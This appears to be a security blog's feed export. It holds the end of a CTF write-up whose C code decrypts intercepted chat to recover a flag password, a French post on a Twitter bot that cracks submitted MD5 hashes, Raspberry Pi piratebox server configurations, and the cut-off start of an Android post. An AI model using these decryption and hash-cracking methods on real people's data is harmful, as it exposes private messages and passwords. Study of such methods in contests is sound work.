&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;buflen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;tmplen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EVP_DecryptInit_ex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EVP_bf_ecb&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EVP_DecryptUpdate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buflen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;talks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;talks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EVP_DecryptFinal_ex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;buflen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tmplen&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EVP_CIPHER_CTX_cleanup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Talk: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufferout&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here are the decrypted messages:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Session Key: QAWuI_]bQwrMuqskR\NfvrbUniUsUOCQ
Talk: gunther.vanderbeck&amp;gt; hello =)
Talk: hi gunther
Talk: john.adams&amp;gt; hi gunther
Talk: how r u ?
Talk: john.adams&amp;gt; how r u ?
Talk: gunther.vanderbeck&amp;gt; fine &amp;amp; u ?
Talk: fine
Talk: john.adams&amp;gt; fine
Talk: did you managed to break what we've talked about last time ?
Talk: john.adams&amp;gt; did you managed to break what we've talked about last time ?
Talk: gunther.vanderbeck&amp;gt; ofc, got his pwd: CantSniffThisFuckingProtocol
Talk: gunther.vanderbeck&amp;gt; seems he tried to break into our chat system ;)
Talk: rofl
Talk: john.adams&amp;gt; rofl
Talk: encryption is so secure, trust me I wrote this stuff and I know what I'm talking about ^^
Talk: john.adams&amp;gt; encryption is so secure, trust me I wrote this stuff and I know what I'm talking about ^^
Talk: gunther.vanderbeck&amp;gt; u roxx dude ;)
Talk: gunther.vanderbeck&amp;gt; cya, gotta leave
Talk: cya dude
Talk: john.adams&amp;gt; cya dude
&lt;/pre&gt;
&lt;p&gt;The flag was: &lt;strong&gt;CantSniffThisFuckingProtocol&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A working remote service was required to correctly exploit all the vulnerabilities and get the flag. Since the remote service is down and the provided binary not fully working on any workstation/OS, I provide the source code of this server and the related SQL sample data to those of you who want to reproduce this attack and/or try it by theirselves.&lt;/p&gt;
&lt;p&gt;For more information or questions , do not hesitate to ask on Twitter (&amp;#64;virtualabs) or send an email to virtualabs -the correct symbol here- gmail -what seems to be a dot- com.&lt;/p&gt;
</content><category term="Sécu"/><category term="IDA"/><category term="protocol"/><category term="nuit du hack"/><category term="event"/></entry><entry><title>Casser du MD5 avec Hashbot</title><link href="https://virtualabs.fr/secu/Casser-du-MD5-avec-Hashbot" rel="alternate"/><published>2013-02-20T09:19:36+01:00</published><updated>2013-02-20T09:19:36+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-02-20:/secu/Casser-du-MD5-avec-Hashbot</id><summary type="html">&lt;p&gt;Cela fait plusieurs mois que je travaille sur des méthodes de cassage de mot de passe améliorées (enfin, j'essaie), et je suis arrivé à un outil plutôt performant et relativement simple dont je ne vais pas diffuser le code de suite. Pourquoi ? Eh bien tout simplement car j'ai dans l'optique …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela fait plusieurs mois que je travaille sur des méthodes de cassage de mot de passe améliorées (enfin, j'essaie), et je suis arrivé à un outil plutôt performant et relativement simple dont je ne vais pas diffuser le code de suite. Pourquoi ? Eh bien tout simplement car j'ai dans l'optique de le présenter dans un avenir proche, mais surtout de le tester abondamment. Et pour cela, j'ai mis au point un système de robot twitter offrant un système de cassage de mots de passe basé sur cet outil.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hashbot, kezako ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour l'occasion, je me suis lancé dans le développement d'un bot twitter, car je n'avais pas forcément envie de monter un site pour l'occasion, et pour plein d'autres raisons:
*  je n'avais pas envie de mettre de CAPTCHA
*  je voulais en même temps assurer une diffusion des résultats
*  je comptais tenir informé via un compte twitter de l'avancée de ce petit projet&lt;/p&gt;
&lt;p&gt;Bref, Twitter imposant ses propres limites et ses fonctionnalités, j'ai jugé que c'était un moyen original et à faible coût pour réaliser une interface. Je suis donc parti sur l'idée d'un bot à qui l'on pourrait fournir des hashes MD5, voire même des URLs pointant vers des hashes MD5, qui les ajouterait à une liste de hashes à casser et posterait le résultat sur Twitter. En gros, un robot connecté pilotable par les utilisateurs.&lt;/p&gt;
&lt;p&gt;Afin de conserver un bon ratio de cassage de mot de passe,  j'ai opté pour un système en cycle. Le principe est simple: le robot collecte toutes les heures les hashes transmis par les utilisateurs, et lance une session de cassage d'une heure. A la fin de celle-ci, il communique les résultats s'il y en a. Bien sûr, plus il y a de personnes à l'utiliser mieux c'est, et à l'heure où j'écris ces lignes il n'y a pas foule à suivre &amp;#64;h4shb0t.&lt;/p&gt;
&lt;p&gt;Les résultats sont actuellement postés sur le pastebin de archlinux.fr, mais pourront bouger par la suite.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implémentation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le code principal de Hashbot repose sur la bibliothèque Python implémentant une interface à l'API Twitter, j'ai nommé &lt;em&gt;python-twitter&lt;/em&gt;. Cette API permet, moyennant des clés d'accès au service, d'accéder aux tweets d'utilisateurs l'ayant installée (c'est le cas pour &amp;#64;h4shb0t) et de réagir en fonction.&lt;/p&gt;
&lt;p&gt;Le bot est structuré en deux threads séparés, l'un réalisant la collecte des hashes tandis que l'autre prend en charge les sessions de cassage, et l'envoi des résultats. La phase de cassage est assurée par un outil en ligne de commande, dont le résultat est analysé par le code Python et ensuite envoyé sur un pastebin. Le tout n'est pas anonyme, mais disons que &amp;#64;h4shb0t contribue aussi à peupler la grande base de données de clairs connus (a.k.a. &lt;em&gt;known plaintexts&lt;/em&gt;, mais c'est aussi pour ça que certains utilisateurs le suivent sans envoyer de hashes).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ok, comment on s'en sert ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour demander à &amp;#64;h4shb0t de casser un ou plusieurs hashes MD5, rien de plus simple:
*  Suivez &amp;#64;h4shb0t sur Twitter (histoire de recevoir les notifications de résultats),
*  Tweetez à &amp;#64;h4shbot (mention) un ou plusieurs hashes MD5, ou mieux au moins une URL pointant sur un fichier contenant un ou plusieurs hashes MD5,
*  Attendez l'annonce de &amp;#64;h4shb0t indiquant la bonne réception des hashes et le démarrage d'une session de cassage (toutes les heures)&lt;/p&gt;
&lt;p&gt;&amp;lt;emb140|center&amp;gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Guettez une réponse dans l'heure, si pas de nouvelles cela signifie qu'il n'a rien pu tirer de vos hashes. Sinon, &amp;#64;h4shb0t notifie une URL où vous pourrez trouver le résultat de la session (ci-dessous un exemple de notification tiré de mes tests)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;emb141|center&amp;gt;&lt;/p&gt;
&lt;p&gt;Pour le moment, &amp;#64;h4shb0t n'envoie pas de messages direct (DM), par peur de représailles de la part de Twitter. Cependant, l'idée de monter un petit site synthétisant les requêtes ainsi que le taux de réussite et les différentes sessions de cassage semble intéressant.&lt;/p&gt;
</content><category term="Sécu"/><category term="bruteforce"/><category term="sécurité"/></entry><entry><title>Ratbox, une piratebox à base de Raspberry Pi</title><link href="https://virtualabs.fr/geekeries/Ratbox-une-piratebox-a-base-de" rel="alternate"/><published>2013-02-03T12:44:07+01:00</published><updated>2013-02-03T12:44:07+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-02-03:/geekeries/Ratbox-une-piratebox-a-base-de</id><summary type="html">&lt;p&gt;J'ai reçu fin septembre mon exemplaire du Raspberry Pi, après quelques semaines d'attente. J'avais en tête d'en faire une piratebox portable, à l'aide d'une batterie USB et d'une clef Wifi. Mais ce qui semblait simple sur papier est en réalité un peu plus complexe à réaliser, car le Raspberry Pi …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai reçu fin septembre mon exemplaire du Raspberry Pi, après quelques semaines d'attente. J'avais en tête d'en faire une piratebox portable, à l'aide d'une batterie USB et d'une clef Wifi. Mais ce qui semblait simple sur papier est en réalité un peu plus complexe à réaliser, car le Raspberry Pi cache quelques surprises, autant de bonnes que de mauvaises. J'ai d'ailleurs pu la présenter et la tester au &lt;em&gt;meeting HZV de février 2013&lt;/em&gt;, et ceux qui ont assisté à ma présentation trouveront dans cet article toute la configuration et un poil plus de détails.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Présentation du Raspberry Pi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Durant le meeting HZV du 3 novembre, j'ai fait une rapide présentation du Raspberry Pi, en insistant notamment sur des caractéristiques particulières qui ne sont pas forcément mentionnées dans la doc constructeur mais que pas mal de personnes ont pu rencontrer durant leurs tests. Parmi les points noirs identifiés:
*  les ports USB de sortie sont limités à 140mA chaque, ce qui est parfait pour des périphériques passifs mais trop peu pour des disques externes ou même des clefs USB WiFi
*  certaines distributions ne tiennent pas la route, comme ArchLinux version ARM (dns instable, config OOB très pauvre)&lt;/p&gt;
&lt;p&gt;Ceci dit, ce n'est pas pour autant que le RaspPi est inutilisable comme PC embarqué: certains hacks ont été découverts permettant de contourner ces limitations. L'un des problèmes majeurs, l'alimentation trop faible des ports USB, a été pallié grâce à l'emploi d'un hub USB alimenté via une source externe de puissance. En effet, le RaspPi peut être alimenté soit par le port micro USB (dédié à l'alimentation), soit par les connecteurs USB eux-même !&lt;/p&gt;
&lt;p&gt;De là, plusieurs astuces d'alimentation peuvent être employées, pour ma part j'ai réalisé un hack un brin plus souple en construisant moi-même un bridge USB qui injecte du courant à l'aide d'une source externe, assurant ainsi l'alimentation du RaspPi et de la clef WiFi que j'utilise. Ainsi, on a assez de pêche pour alimenter les deux sans avoir à employer de hub, et avec une source d'alimentation unique (1 seul connecteur). A  noter que durant le meeting de février 2012, une personne m'a fait remarquer d'un dongle 802.11n Edimax nano (ref: EDIMAX EW-7811Un Wireless Nano) consommait quasimment rien et fonctionnait bien tel quel.&lt;/p&gt;
&lt;p&gt;Le RaspPi reste néanmoins un très bon investissement, car très flexible au niveau des usages (et d'autant plus lorsqu'on arrive à lui coller un dongle WiFi USB qui supporte le mode AP).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le projet Ratbox&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Un projet que j'avais en tête et qui me motivait pour l'achat d'un Raspberry Pi était la création d'une piratebox sur ce système, le fait de construire de zéro un point d'accès permettant le partage de fichiers via un réseau ouvert. Ce projet a pour nom de code &amp;quot;Ratbox&amp;quot; (oui, un sale jeu de mot: Raspberry Pi Ratbox), et a été entamé dans un premier temps sans la partie wireless, n'ayant pas commandé le matériel. Celui-ci a été ajouté par la suite, et configuré de manière à fournir l'ensemble des fonctionnalités.&lt;/p&gt;
&lt;p&gt;Au niveau du matériel nécessaire, il faut quelques éléments particuliers:
- une clef WiFi TP-LINK TP-WN727N (testée et approuvée, support mac80211)
- un Raspberry Pi
- une carte SD haute capacité (16Go par exemple) Class 10
- une batterie USB ou tout autre moyen d'alimentation pouvant fournir 5V/1A
- un cable USB en Y (2 prises USB mâles classiques et une mini-usb par exemple)
- un support de stockage (disque dur USB ou combo mini-hub et clef USB)
- un boitier tout pourri ou stylé, au choix&lt;/p&gt;
&lt;p&gt;Avant toute chose, il faut déployer une Raspbian Wheezy sur la carte SD, à l'aide de &lt;em&gt;dd&lt;/em&gt;. Une fois cela effectué, montez les partitions et localisez le fichier &lt;em&gt;/etc/network/interfaces&lt;/em&gt; de manière à configurer le DHCP sur l'interface ethernet. Cela permettra de se connecter en SSH sur le RaspPi sans avoir à passer par un clavier et un écran, un brin ennuyeux car l'écran doit supporter le HDMI et le clavier être en USB.&lt;/p&gt;
&lt;p&gt;Le fichier de configuration &lt;em&gt;/etc/network/interfaces&lt;/em&gt; suivant prend ainsi en charge le DHCP sur la connexion ethernet et configure le réseau sans-fil par la même occasion:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
auto lo

iface lo inet loopback
iface eth0 inet dhcp

iface wlan0 inet static
        address 192.168.0.1
        network 192.168.0.0
        netmask 255.255.255.0
        broadcast 192.168.0.255
        gateway 192.168.0.1
&lt;/pre&gt;
&lt;p&gt;La Raspbian déployée, on la configure à l'aide de l'utilitaire:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# sudo raspi-config
&lt;/pre&gt;
&lt;p&gt;Et on redémarre le RaspPi. On identifie l'adresse IP attribuée par la box (ou sur tout LAN) sur laquelle(lequel) on aura pris soin de le connecter pour avoir accès à Internet et profiter du DHCP. On installe ensuite Samba, ProFTPd, Lighttpd, php5 et les modules fastcgi-php et redirect. L'objectif étant de créer un dossier de partage sur la carte SD (bonjour les IO) accessible via du web, FTP et SMB:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
#&amp;nbsp;apt-get install proftpd samba lighttpd php5 php5-fpm
&lt;/pre&gt;
&lt;p&gt;On configure d'abord le serveur FTP, via le paramétrage de &lt;em&gt;/etc/proftpd/proftpd.conf&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
ServerName                      &amp;quot;Ratbox&amp;quot;
  ServerType                      standalone
  DeferWelcome                    off

  MultilineRFC2228                on
  DefaultServer                   on
  ShowSymlinks                    on

  TimeoutNoTransfer               600
  TimeoutStalled                  600
  TimeoutIdle                     1200

  DisplayLogin                    welcome.msg
  DisplayChdir                    .message true
  ListOptions                     &amp;quot;-l&amp;quot;

  DenyFilter                      \*.*/

  # A basic anonymous configuration, no upload directories.

 &amp;lt;Anonymous ~ftp&amp;gt;
   User                         ftp
   Group                                nogroup
   # We want clients to be able to login with &amp;quot;anonymous&amp;quot; as well as &amp;quot;ftp&amp;quot;
   UserAlias                    anonymous ftp
   # Cosmetic changes, all files belongs to ftp user
   DirFakeUser  on ftp
   DirFakeGroup on ftp

   RequireValidShell            off

   # Limit the maximum number of anonymous logins
   MaxClients                   10

   # We want 'welcome.msg' displayed at login, and '.message' displayed
   # in each newly chdired directory.
   DisplayLogin         welcome.msg
   DisplayChdir         .message
 &amp;lt;/Anonymous&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Puis Samba, via le fichier &lt;em&gt;/etc/samba/smb.conf&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[global]
        server string = %h server
        map to guest = Bad User
        obey pam restrictions = Yes
        pam password change = Yes
        passwd program = /usr/bin/passwd %u
        passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
        unix password sync = Yes
        syslog = 0
        log file = /var/log/samba/log.%m
        max log size = 1000
        dns proxy = No
        usershare allow guests = Yes
        panic action = /usr/share/samba/panic-action %d
        idmap config * : backend = tdb

[homes]
        comment = Home Directories
        valid users = %S
        create mask = 0700
        directory mask = 0700
        browseable = No

[ratbox]
        comment = RatBox
        path = /srv/ftp/
        read only = No
        create mask = 0777
        directory mask = 0777
        guest only = Yes
        guest ok = Yes
&lt;/pre&gt;
&lt;p&gt;Et enfin lighttpd:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
server.modules = (
        &amp;quot;mod_access&amp;quot;,
        &amp;quot;mod_alias&amp;quot;,
        &amp;quot;mod_compress&amp;quot;,
        &amp;quot;mod_redirect&amp;quot;,
#       &amp;quot;mod_rewrite&amp;quot;,
)

server.document-root        = &amp;quot;/var/www&amp;quot;
server.upload-dirs          = ( &amp;quot;/var/cache/lighttpd/uploads&amp;quot; )
server.errorlog             = &amp;quot;/var/log/lighttpd/error.log&amp;quot;
server.pid-file             = &amp;quot;/var/run/lighttpd.pid&amp;quot;
server.username             = &amp;quot;www-data&amp;quot;
server.groupname            = &amp;quot;www-data&amp;quot;
server.port                 = 80


index-file.names            = ( &amp;quot;index.php&amp;quot;, &amp;quot;index.html&amp;quot;, &amp;quot;index.lighttpd.html&amp;quot; )
url.access-deny             = ( &amp;quot;~&amp;quot;, &amp;quot;.inc&amp;quot; )
static-file.exclude-extensions = ( &amp;quot;.php&amp;quot;, &amp;quot;.pl&amp;quot;, &amp;quot;.fcgi&amp;quot; )

compress.cache-dir          = &amp;quot;/var/cache/lighttpd/compress/&amp;quot;
compress.filetype           = ( &amp;quot;application/javascript&amp;quot;, &amp;quot;text/css&amp;quot;, &amp;quot;text/html&amp;quot;, &amp;quot;text/plain&amp;quot; )

# disable php in ~/share/files
$HTTP[&amp;quot;url&amp;quot;] =~ &amp;quot;^/share/files&amp;quot; *
        fastcgi.server= ()
*

# redirect queries to &amp;quot;http://rat.box/&amp;quot;
$HTTP[&amp;quot;host&amp;quot;] !~ &amp;quot;^(rat\.box)$&amp;quot; *
        url.redirect = (&amp;quot;/(.*)&amp;quot; =&amp;gt; &amp;quot;http://rat.box&amp;quot;)
*

# default listening port for IPv6 falls back to the IPv4 port
include_shell &amp;quot;/usr/share/lighttpd/use-ipv6.pl &amp;quot; + server.port
include_shell &amp;quot;/usr/share/lighttpd/create-mime.assign.pl&amp;quot;
include_shell &amp;quot;/usr/share/lighttpd/include-conf-enabled.pl&amp;quot;
&lt;/pre&gt;
&lt;p&gt;On installe un peu de PHP histoire de fournir une homepage et un navigateur de fichiers basé sur jQuery (elFinder v2, ici une version modifiée qui embarque le JS et le CSS requis). Libre à vous d'ajouter des paquetages ou des pages. Personnellement, j'ai banni tout serveur de base de données car MySQL par exemple consomme énormément d'après la grande majorité des testeurs de RaspPi.&lt;/p&gt;
&lt;p&gt;La configuration du réseau sans-fil ne pose pas de problème majeur, hostapd supportant très bien la carte WiFi USB (chipset realtek). J'ai utilisé le fichier &lt;em&gt;/etc/hostapd/hostapd.conf&lt;/em&gt; suivant:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
# interface
interface=wlan0
driver=nl80211
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0

ssid=Ratbox
hw_mode=g
channel=6

beacon_int=100
auth_algs=3
wmm_enabled=1
&lt;/pre&gt;
&lt;p&gt;On termine avec l'installation de dnsmasq, la configuration du DHCP et celle de notre nom de domaine:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
local=/rat.box/
dhcp-range=192.168.0.2,192.168.0.250,255.255.255.0,12h
address=/#/192.168.0.1
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Connexion du support de stockage&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Un cable en Y est nécessaire pour assurer d'une part l'alimentation suffisante de l'ensemble et d'autre part la liaison de données. Durant mes premiers tests, j'ai employé un disque dur externe formaté en vfat, qui fonctionnait très bien. Cependant, pour des raisons d'encombrement, je suis retourné sur un stockage de type clef USB de 32Go. Cependant, les deux possibilités requièrent une connectique différente.&lt;/p&gt;
&lt;p&gt;Dans le cas du disque dur externe connecté en USB, c'est très simple: il suffit de connecter la fiche mini-usb au disque, la fiche USB de données au RaspPi, et la dernière fiche USB sur la batterie. La batterie alimente ainsi le RaspPi, la clef Wifi via le double connecteur USB du RaspPi, et le disque dur.&lt;/p&gt;
&lt;p&gt;Dans le cas de la clef USB, j'ai bricolé un petit connecteur maison permettant d'&lt;em&gt;injecter&lt;/em&gt; l'alimentation dans un raccord male/femelle (un prolongateur USB quoi).&lt;/p&gt;
&lt;p&gt;L'avantage de supprimer le hub est non-négligeable: on gagne énormément en encombrement. Le résultat final:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb135|center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le boitier&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En ce qui concerne le boîtier, j'ai dans un premier temps récupéré un boîtier PVC d'un vieux projet de techno que j'ai fait en 5ème ou 4ème (c'est dire), que j'ai un peu charcuté pour pouvoir faire passer un fil d'alimentation en douce, et suffisamment grand pour pouvoir accueillir un hub (temporairement) et le RaspPi. Cependant il s'est vite révélé trop petit, et j'ai donc bricolé une boîte de carte Wifi Alfa pour en faire un boitier de fortune:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb136|center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le meeting de février m'a aussi permis de beta-tester ma première version de Ratbox, et d'ailleurs quelques soucis ont pointé le bout de leur nez: plusieurs personnes téléchargeant des fichiers ont rendu le point d'accès invisible, certainement du aux accès disques USB ou à la consommation CPU. Je vais tweaker encore au max mon raspberry Pi et améliorer le concept au cours des prochains meeting. Sachez toutefois qu'elle sera présente et disponible à tous les futurs meetings HZV !&lt;/p&gt;
&lt;p&gt;Par ailleurs, vous trouverez dans les documents joints à cet article le PDF de ma présentation, qui sera aussi disponible en ligne plus ou moins rapidement sur le site d'HZV.&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>Android autopwn avec un Raspberry Pi</title><link href="https://virtualabs.fr/geekeries/Android-autopwn-avec-un-Raspberry" rel="alternate"/><published>2012-11-23T08:30:00+01:00</published><updated>2012-11-23T08:30:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-11-23:/geekeries/Android-autopwn-avec-un-Raspberry</id><summary type="html">&lt;p&gt;Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de projets basées sur ce fameux composant. Bon, par souci de lecture (et aussi par fainéantise), nous l'affublerons du sobriquet &amp;quot;Rasppi&amp;quot; dans la suite de cet article.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le Raspberry Pi c'est le bien, prenez en !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'étais tellement fou de joie de l'avoir reçu que j'en ai fait le sujet d'un meeting HZV, afin de faire un retour d'expérience sur l'utilisation de cette bestiole. Après quelques semaines à le bidouiller, j'ai ainsi pu découvrir quelques hacks ingénieux, mais aussi les limites du Rasppi. Car oui, à ce prix là (~35€), on en a pour son argent: le processeur n'est pas une bête de course, la RAM limite (mais suffisante) et surtout des lacunes dans l'alimentation. Ce dernier point ne pose pas de souci majeur, nous allons donc l'oublier (il fera l'objet d'un futur article).&lt;/p&gt;
&lt;p&gt;Si vous tenez absolument à en faire un PC de salon, ou pire un média center, c'est votre droit mais ne vous attendez pas à des miracles. Par contre comme PC embarqué dans de petits boitiers, ou alimenté via une batterie USB, c'est le pied ! Je vous conseille ce genre de modèle (de chez Novago), qui tient la route (quelques heures d'autonomie) avec un Rasppi seul:&lt;/p&gt;
&lt;img alt="" src="/images/usb-battery.jpg" /&gt;
&lt;p&gt;Si vous souhaitez mettre du Wifi, c'est une autre paire de manches. J'aborderai cet aspect dans un prochain article. Pour le moment, on dispose d'un PC de poche alimenté sur batterie, pour moins de 80€.&lt;/p&gt;
